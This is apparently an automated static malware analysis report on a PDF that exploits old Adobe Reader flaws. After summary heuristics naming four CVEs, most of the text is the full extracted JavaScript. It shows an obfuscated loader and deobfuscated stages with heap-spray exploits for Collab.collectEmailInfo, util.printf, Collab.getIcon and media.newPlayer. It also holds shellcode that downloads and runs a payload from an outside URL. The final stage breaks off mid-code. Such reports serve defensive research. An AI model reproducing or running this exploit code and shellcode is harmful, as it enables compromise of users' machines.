Malicious PDF — malware analysis report

Static analysis result for SHA-256 c7640002174e2698…

MALICIOUS

PDF

12.1 KB First seen: 2026-05-04
MD5: c03017876b7bd4d3b08a4222d1ff0614 SHA-1: 8d6b0bc10e07ea0598fd9ae646d60cf7fd135f4e SHA-256: c7640002174e2698f66f886deaa2156b30fe9aaa27164ab0dd1a919b5aacbe12
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, specifically targeting CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates that it attempts to download a second-stage payload from the URL http://aefatqsayus.com/w.php?f=26&e=5. This behavior is consistent with a multi-stage exploit designed to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://aefatqsayus.com/w.php?f=26&e=5 Referenced by PDF JavaScript

Related samples 2

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x383 11224 bytes
SHA-256: 2f087054c73da84c9dd1651f0984819c32772613261e202e278f540a57989ee2
Preview script
First 1,000 lines of the extracted script
w='';
w+="sl";
w+='i';
w+="ce";
j='b343tb3g';
j=j[w];
z
=
new
Array(46,3,48,45,39,18,51,30,42,63,73,6,56,8,44,44,73,6,35,27,65,10,73,6,56,49,35,27,73,6,58,49,65,10,73,6,65,5,8,10,73,6,8,8,49,35,73,6,44,10,27,9,73,6,10,9,56,39,73,6,56,39,8,9,73,6,9,27,10,9,73,6,58,9,56,39,73,6,49,44,28,27,73,6,58,44,56,39,73,6,8,8,9,56,73,6,44,44,62,39,73,6,49,65,56,39,73,6,9,8,8,27,73,6,8,8,58,10,73,6,56,28,59,27,73,6,28,49,65,65,73,6,35,35,28,9,73,6,39,56,35,35,73,6,10,9,56,39,73,6,27,8,8,9,73,6,8,5,10,44,73,6,58,49,9,44,73,6,56,58,35,39,73,6,59,10,8,10,73,6,65,10,56,49,73,6,49,28,58,49,73,6,65,39,65,5,73,6,49,28,10,27,73,6,56,39,49,44,73,6,8,27,58,49,73,6,58,10,56,39,73,6,58,56,8,49,73,6,35,49,9,8,73,6,56,39,49,44,73,6,59,9,58,44,73,6,35,49,9,8,73,6,27,5,8,8,73,6,10,28,10,5,73,6,3,62,35,27,73,6,27,49,9,8,73,6,62,39,8,8,73,6,39,65,9,35,73,6,8,56,28,9,73,6,58,10,35,59,73,6,27,28,9,56,73,6,9,62,27,39,73,6,62,3,9,8,73,6,65,39,10,9,73,6,8,39,35,28,73,6,58,49,28,35,73,6,49,65,65,44,73,6,49,65,56,39,73,6,9,8,59,10,73,6,44,44,62,62,73,6,9,27,56,39,73,6,56,62,10,39,73,6,65,27,10,44,73,6,49,10,35,35,73,6,9,27,59,10,73,6,62,56,56,39,73,6,62,62,9,8,73,6,9,10,56,39,73,6,9,8,56,39,73,6,3,39,27,49,73,6,49,5,49,65,73,6,65,39,27,8,73,6,3,62,49,8,73,6,44,56,56,39,73,6,56,9,59,9,73,6,9,27,58,62,73,6,58,10,8,8,73,6,5,44,9,8,73,6,35,8,65,39,73,6,44,56,56,39,73,6,56,39,9,56,73,6,44,3,35,58,73,6,49,5,9,49,73,6,5,56,65,56,73,6,35,35,35,35,73,6,65,59,35,35,73,6,65,56,35,5,73,6,9,9,9,9,73,6,9,9,9,9,73,6,49,9,49,56,73,6,10,9,44,3,73,6,35,35,44,56,73,6,9,9,9,9,73,6,49,9,9,9,73,6,27,9,56,8,73,6,49,9,28,5,73,6,56,39,49,49,73,6,56,39,65,27,73,6,28,9,49,65,73,6,27,8,56,8,73,6,35,35,9,49,73,6,44,56,65,8,73,6,44,65,44,35,73,6,9,9,9,9,73,6,58,49,44,56,73,6,44,27,58,59,73,6,49,10,44,62,73,6,28,44,35,35,73,6,27,10,56,8,73,6,56,39,9,56,73,6,65,56,65,56,73,6,35,35,44,28,73,6,35,35,35,35,73,6,9,59,65,39,73,6,58,59,65,39,73,6,65,27,56,28,73,6,9,28,9,10,73,6,9,9,9,9,73,6,49,27,56,62,73,6,9,27,59,10,73,6,9,10,27,58,73,6,58,59,59,10,73,6,44,58,44,49,73,6,27,58,58,8,73,6,59,10,10,10,73,6,58,44,9,10,73,6,8,8,58,59,73,6,27,58,8,59,73,6,59,10,10,10,73,6,59,9,9,56,73,6,58,8,59,62,73,6,49,8,59,9,73,6,35,56,44,56,73,6,9,9,9,9,73,6,35,35,9,9,73,6,9,27,49,44,73,6,65,56,56,39,73,6,27,5,8,8,73,6,27,58,49,28,73,6,28,62,10,10,73,6,58,58,9,9,73,6,44,59,58,9,73,6,27,58,58,10,73,6,28,62,10,10,73,6,59,65,9,49,73,6,44,27,44,10,73,6,27,44,44,27,73,6,28,62,10,10,73,6,9,9,9,5,73,6,56,3,49,5,73,6,9,10,27,28,73,6,56,56,8,9,73,6,28,62,10,10,73,6,10,28,9,10,73,6,44,3,49,28,73,6,44,3,9,9,73,6,49,8,9,9,73,6,44,3,49,58,73,6,35,35,9,9,73,6,28,10,49,44,73,6,27,9,56,49,73,6,28,44,58,49,73,6,9,9,44,3,73,6,35,35,49,8,73,6,9,10,49,44,73,6,9,9,44,3,73,6,65,39,56,8,73,6,49,8,9,27,73,6,49,44,35,35,73,6,56,8,9,10,73,6,9,27,27,8,73,6,9,59,65,39,73,6,28,8,65,39,73,6,56,9,10,58,73,6,9,9,8,35,73,6,35,3,58,49,73,6,56,9,10,58,73,6,9,9,8,35,73,6,27,10,58,49,73,6,9,9,44,3,73,6,35,65,44,3,73,6,49,44,35,35,73,6,65,56,9,56,73,6,35,65,5,27,73,6,35,35,35,35,73,6,10,65,56,65,73,6,65,27,9,65,73,6,35,65,5,56,73,6,9,65,56,3,73,6,44,35,56,5,73,6,39,62,9,28,73,6,27,3,8,8,73,6,49,39,56,3,73,6,27,44,28,39,73,6,58,5,10,44,73,6,28,3,8,44,73,6,58,9,59,35,73,6,58,10,44,56,73,6,58,9,58,10,73,6,59,35,8,3,73,6,44,28,59,35,73,6,44,44,44,49,73,6,58,10,44,28,73,6,58,8,58,28,73,6,58,5,44,28,73,6,58,8,58,49,73,6,44,8,59,65,73,6,44,62,44,35,73,6,58,58,59,35,73,6,58,9,59,65,73,6,58,9,44,56,73,6,44,44,8,35,73,6,8,59,8,62,73,6,59,44,8,44,73,6,8,62,44,49,73,6,9,9,8,49,73,6,9,9,9,9,63,15,35,6,60,27,37,33,23,60,45,65,11,46,48,21,48,3,57,47,74,71,52,41,54,33,40,65,21,48,3,4,40,65,60,30,37,54,14,59,72,47,74,71,52,48,3,75,42,48,3,15,7,48,3,42,48,3,4,51,6,39,51,37,48,33,60,30,21,9,57,47,74,36,59,71,15,48,65,37,6,48,60,45,48,3,15,7,45,35,6,60,27,37,33,23,60,45,39,29,21,71,52,46,3,48,45,62,2,30,42,60,65,41,45,32,48,48,3,74,21,71,15,46,3,48,45,46,41,42,9,29,9,27,9,27,9,27,9,27,15,46,3,48,45,3,62,62,48,42,9,29,10,9,9,9,9,9,15,46,3,48,45,20,3,74,40,23,3,62,42,6,60,65,51,27,3,20,65,21,39,18,51,30,71,15,46,3,48,45,51,27,0,40,65,60,42,20,3,74,40,23,3,62,4,40,65,60,30,37,54,14,59,15,46,3,48,45,47,74,42,3,62,62,48,68,21,51,27,0,40,65,60,75,9,29,8,56,71,15,46,3,48,45,74,3,48,51,20,42,6,60,65,51,27,3,20,65,21,12,73,6,5,9,5,9,73,6,5,9,5,9,12,71,15,74,3,48,51,20,42,65,11,46,48,21,74,3,48,51,20,57,47,74,71,15,46,3,48,45,27,23,6,60,37,59,42,21,46,41,68,9,29,10,9,9,9,9,9,71,36,3,62,62,48,15,35,23,48,21,46,3,48,45,27,23,6,60,37,42,9,15,27,23,6,60,37,72,27,23,6,60,37,59,15,27,23,6,60,37,75,75,71,52,62,2,30,64,27,23,6,60,37,25,42,74,3,48,51,20,75,20,3,74,40,23,3,62,15,7,45,46,3,48,45,23,46,65,48,35,40,23,41,42,6,60,65,51,27,3,20,65,21,12,73,6,9,27,9,27,73,6,9,27,9,27,12,71,15,41,54,33,40,65,21,23,46,65,48,35,40,23,41,4,40,65,60,30,37,54,72,10,10,5,49,59,71,52,23,46,65,48,35,40,23,41,75,42,23,46,65,48,35,40,23,41,15,7,45,37,54,33,51,4,27,23,40,40,3,39,31,37,23,48,65,42,55,23,40,40,3,39,4,27,23,40,40,65,27,37,43,1,3,33,40,26,60,35,23,21,52,51,6,39,18,67,12,12,57,1,51,30,67,23,46,65,48,35,40,23,41,7,71,15,7,45,35,6,60,27,37,33,23,60,45,20,48,33,60,37,35,21,71,52,60,23,20,42,6,60,65,51,27,3,20,65,21,12,73,6,9,32,9,32,73,6,9,32,9,32,73,6,9,32,9,32,73,6,9,32,9,32,12,71,15,46,3,48,45,20,3,74,40,23,3,62,42,6,60,65,51,27,3,20,65,21,39,18,51,30,71,15,54,65,3,20,39,40,23,27,2,42,60,23,20,75,20,3,74,40,23,3,62,15,39,33,30,39,40,23,27,2,42,6,60,65,51,27,3,20,65,21,12,73,6,9,32,9,32,73,6,9,32,9,32,12,71,15,54,65,3,62,65,48,51,33,11,65,42,59,9,15,51,20,48,3,74,42,54,65,3,62,65,48,51,33,11,65,75,54,65,3,20,39,40,23,27,2,4,40,65,60,30,37,54,15,41,54,33,40,65,21,39,33,30,39,40,23,27,2,4,40,65,60,30,37,54,72,51,20,48,3,74,71,52,39,33,30,39,40,23,27,2,75,42,39,33,30,39,40,23,27,2,15,7,45,35,33,40,40,39,40,23,27,2,42,39,33,30,39,40,23,27,2,4,51,6,39,51,37,48,33,60,30,21,9,57,51,20,48,3,74,71,15,39,40,23,27,2,42,39,33,30,39,40,23,27,2,4,51,6,39,51,37,48,33,60,30,21,9,57,39,33,30,39,40,23,27,2,4,40,65,60,30,37,54,68,51,20,48,3,74,71,15,41,54,33,40,65,21,39,40,23,27,2,4,40,65,60,30,37,54,75,51,20,48,3,74,72,9,29,10,9,9,9,9,71,52,39,40,23,27,2,42,39,40,23,27,2,75,39,40,23,27,2,75,35,33,40,40,39,40,23,27,2,15,7,45,1,65,1,42,60,65,41,45,32,48,48,3,74,21,71,15,35,23,48,21,33,42,9,15,33,72,28,10,9,9,15,33,75,75,71,52,1,65,1,64,33,25,42,39,40,23,27,2,75,54,65,3,20,39,40,23,27,2,15,7,45,46,3,48,45,60,6,1,42,28,59,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,15,6,37,33,40,4,20,48,33,60,37,35,21,12,73,10,49,9,9,9,35,12,57,60,6,1,71,15,7,45,35,6,60,27,37,33,23,60,45,30,65,37,33,27,23,60,21,71,52,46,3,48,45,3,48,48,74,42,60,65,41,45,32,48,48,3,74,21,71,15,33,35,21,3,20,20,4,62,23,27,4,55,23,40,40,3,39,4,30,65,37,26,27,23,60,71,52,46,3,48,45,20,3,74,40,23,3,62,42,6,60,65,51,27,3,20,65,21,39,18,51,30,71,15,46,3,48,45,54,61,47,49,9,9,55,50,42,20,3,74,40,23,3,62,4,40,65,60,30,37,54,14,59,15,46,3,48,45,47,74,42,9,29,10,9,9,9,9,9,68,21,54,61,47,49,9,9,55,50,75,9,29,8,56,71,15,46,3,48,45,74,3,48,51,20,42,6,60,65,51,27,3,20,65,21,12,73,6,5,9,5,9,73,6,5,9,5,9,12,71,15,74,3,48,51,20,42,65,11,46,48,21,74,3,48,51,20,57,47,74,71,15,46,3,48,45,20,49,32,18,70,44,49,35,42,21,9,29,9,27,9,27,9,27,9,27,68,9,29,10,9,9,9,9,9,71,36,9,29,10,9,9,9,9,9,15,35,23,48,21,46,3,48,45,46,47,27,53,38,5,44,74,42,9,15,46,47,27,53,38,5,44,74,72,20,49,32,18,70,44,49,35,15,46,47,27,53,38,5,44,74,75,75,71,52,3,48,48,74,64,46,47,27,53,38,5,44,74,25,42,74,3,48,51,20,75,20,3,74,40,23,3,62,15,7,45,46,3,48,45,37,16,22,54,50,39,69,41,42,6,60,65,51,27,3,20,65,21,12,73,9,5,12,71,15,41,54,33,40,65,21,37,16,22,54,50,39,69,41,4,40,65,60,30,37,54,72,9,29,10,9,9,9,71,52,37,16,22,54,50,39,69,41,75,42,37,16,22,54,50,39,69,41,15,7,45,37,16,22,54,50,39,69,41,42,12,50,4,12,75,37,16,22,54,50,39,69,41,15,3,20,20,4,62,23,27,4,55,23,40,40,3,39,4,30,65,37,26,27,23,60,21,37,16,22,54,50,39,69,41,71,15,7,7,45,3,24,40,6,30,33,60,51,42,3,20,20,4,20,40,6,30,26,60,51,15,46,3,48,45,51,46,42,20,3,48,51,65,26,60,37,21,3,20,20,4,46,33,65,41,65,48,34,65,48,51,33,23,60,4,37,23,31,37,48,33,60,30,21,71,4,27,54,3,48,32,37,21,9,71,71,15,35,23,48,21,46,3,48,45,33,42,9,15,33,72,3,24,40,6,30,33,60,51,4,40,65,60,30,37,54,15,33,75,75,71,52,33,35,21,3,24,40,6,30,33,60,51,64,33,25,4,60,3,1,65,42,42,63,43,31,27,48,33,20,37,63,71,52,46,3,48,45,40,46,42,3,24,40,6,30,33,60,51,64,33,25,4,46,65,48,51,33,23,60,15,7,7,45,33,35,21,21,40,46,42,42,5,71,17,17,21,21,51,46,42,42,56,71,19,19,21,40,46,72,42,56,4,28,59,71,71,71,52,30,65,37,33,27,23,60,21,71,15,7,65,40,51,65,45,33,35,21,40,46,42,42,58,4,28,71,52,20,48,33,60,37,35,21,71,15,7,65,40,51,65,45,33,35,21,21,21,51,46,42,42,44,71,17,17,21,51,46,42,42,58,71,71,19,19,21,40,46,72,58,4,28,28,71,71,52,39,29,21,71,15,7,65,40,51,65,45,33,35,21,21,40,46,66,42,5,4,28,71,17,17,21,40,46,72,42,5,4,59,71,17,17,21,40,46,66,42,56,4,28,8,71,17,17,21,40,46,72,42,56,4,28,58,71,71,52,35,6,60,27,37,33,23,60,45,3,21,71,52,6,37,33,40,4,20,48,33,60,37,62,21,63,20,13,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,45,67,45,74,74,74,74,28,28,28,63,57,60,65,41,45,38,3,37,65,21,71,71,15,7,46,3,48,45,54,42,3,20,20,4,20,40,6,30,26,60,51,15,35,23,48,21,46,3,48,45,35,42,9,15,35,72,54,4,40,65,60,30,37,54,15,35,75,75,71,52,33,35,21,54,64,35,25,4,60,3,1,65,42,42,63,43,31,27,48,33,20,37,63,71,52,46,3,48,45,33,42,54,64,35,25,4,46,65,48,51,33,23,60,15,7,7,45,33,35,21,21,33,66,56,4,28,59,71,19,19,21,33,72,56,4,59,71,71,52,27,42,60,65,41,45,32,48,48,3,74,21,71,15,46,3,48,45,62,42,6,60,65,51,27,3,20,65,21,63,73,6,5,9,5,9,73,6,5,9,5,9,63,71,15,46,3,48,45,65,42,6,60,65,51,27,3,20,65,21,39,18,51,30,71,15,41,54,33,40,65,21,62,4,40,65,60,30,37,54,72,42,9,29,56,9,9,9,71,52,62,75,42,62,15,7,62,42,62,4,51,6,39,51,37,48,21,9,57,9,29,56,9,9,9,68,65,4,40,65,60,30,37,54,71,15,35,23,48,21,35,42,9,15,35,72,59,5,9,9,15,35,75,75,71,52,27,64,35,25,42,62,75,65,15,7,3,21,71,15,3,21,71,15,37,48,74,52,37,54,33,51,4,1,65,62,33,3,4,60,65,41,24,40,3,74,65,48,21,60,6,40,40,71,15,7,27,3,37,27,54,21,65,71,52,7,3,21,71,15,7,7);
a="_mka.9u}304z'@*;U|j&p(MoP]Ic1xgSAiVf/tDblw=E6 vqr5Ns{QhC8,72nWd'[e>:-GK)<%y+";
b='al';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{

e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=e[b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{if(!google.search())throw 1;}catch(q){
s
+=
a[z[i]];
}
}}

"))";try{if(!google.search())throw 1;}catch(q){e(s);}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x383 3858 bytes
SHA-256: 2344c6551c54469d2544e5521e0b6c16983ecb155be596fe4d053a2bee0dc402
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u612f%u6665%u7461%u7371%u7961%u7375%u632e%u6d6f%u772f%u702e%u7068%u663f%u323d%u2636%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x383 3854 bytes
SHA-256: c3906fb776c9a71d93ea322ae3c31a70bc7f6089569a3eaffbd9a8f0f7822d55
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u612f%u6665%u7461%u7371%u7961%u7375%u632e%u6d6f%u772f%u702e%u7068%u663f%u323d%u2636%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var 